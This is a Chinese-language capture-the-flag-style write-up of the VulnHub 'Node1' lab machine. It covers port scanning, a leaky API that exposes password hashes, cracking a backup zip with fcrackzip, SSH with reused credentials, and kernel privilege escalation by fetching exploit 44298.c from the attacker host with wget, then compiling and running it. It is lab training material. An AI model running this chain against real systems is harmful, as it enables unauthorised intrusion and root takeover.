vulnhub靶机渗透Node1

vulnhub靶机Node1

一、有效资产收集

资产编号 资产分类 资产名称 资产规格 访问地址 备注/问题
Node1 主机系统 Ubuntu操作系统 Type:Linux
IP:192.168.101.137
Port:22、3000
192.168.101.137 越权,压缩包爆破,内核提权

flag:

==1722e99ca5f353b362556a62bd5e6be0==

靶机下载地址:https://www.vulnhub.com/entry/[](https://so.csdn.net/so/search?q=node&spm=1001.2101.3001.7020)-1,252/

访问不到把网络模式改为NAT

二、渗透测试过程

kali攻击机ip为192.168.101.128

1. 信息收集

  • 扫描存活主机:目标主机ip为192.168.101.137
1
arp-scan -l

或者Netdiscover

  • 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1
ping 192.168.101.137

  • 通过masscan四层发现目标主机开放端口
1
masscan -p0-65535 --rate=10000 192.168.101.137

目标主机只开了两个端口,分别是22和3000端口

  • 扫描目标端口服务

    1
    nmap -A -p- -sC -T4 -sS -P0 192.168.101.137 -oN nmap.A

  • 目标开启了以下端口及服务:
    • 22端口,服务为OpenSSH 7.2p2;且系统为Ubunru 4 ubuntu2.2
    • 3000端口,服务为Apache。且扫描到了/login路径,猜测是后台登录界面

nodejs默认端口3000,且nodejs是一个基于Chrome JavaScript运行建立的一个平台,基于Google V8引擎,性能很好

使用Nmap中漏洞分类NSE脚本对目标进行探测

1
nmap -sV --script vuln 192.168.101.137

目标web服务为Node.js Express的站,其他漏洞信息没什么有效的,都是Dos(不算洞)

访问目标3000端口 web服务:

访问login路径:但是此页面没测出来弱密码和SQL

2. 越权

在首页源码闲逛时,看到在view-source:http://192.168.101.137:3000/assets/js/app/controllers/home.js

1
2
3
4
5
6
7
var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});

这段代码是一个AngularJS控制器,命名为HomeCtrl,接收scope和http两个参数。控制器中向服务器/api/users/latest发起GET请求,用then()处理相应并把数据赋给$scope.users

跟随路径到/api/users/latest,看到了用户名及其password的json数据,不过这里只有非管理员用户

再向上一级,找到管理员用户:

将管理员用户myP14ceAdminAcc0uNT的密码dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af拿到somd5解密:

密码为manchester

登录成功,网页中心有Download backup按钮

3. 爆破解压压缩包

下载下来看到是base64编码,解码:

1
base64 -d myplace.backup > decode.backup

文件类型为zip:

解压需要密码:

用fcrackzip,字典rockyou进行爆破:

1
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decode.backup

密码为magicword

4. ssh登录

unzip解压后出现var文件夹:

在app.js中定义的url常量,mark:5AYRft73VtFpc84k@localhost:27017很像ssh登录

尝试进行ssh登录:

1
ssh mark@192.168.101.137

5. ubuntu16.04内核提权

  • 查看用户的sudo权限:
1
sudo -l

mark用户不能使用sudo

  • 查看有suid的命令:
1
find / -perm -u=s -type f 2>/dev/null

没有find这种提权的命令

  • 查看内核版本及操作系统版本:
1
2
uname -a
lsb_release -a

内核版本为4.4.0-93,系统版本为ubuntu16.04

  • 查看是否存在gcc和版本
1
gcc --version

搜索ubuntu 16.04存在的漏洞:

把exp下载到本地:

1
searchsploit -m 44298.c

本地用python起一个web服务:

1
python2 -m SimpleHTTPServer 8000

靶机上cd到tmp目录下载exp

1
2
cd /tmp
wget http://192.168.101.128:8000/44298.c

gcc编译执行exp:

1
2
gcc 44298.c -o exp
./exp

在/root目录下找到flag:

flag:==1722e99ca5f353b362556a62bd5e6be0==

上一篇:
C++算法练习
下一篇:
vulnhub靶机渗透CH4INRULZ_v1.0.1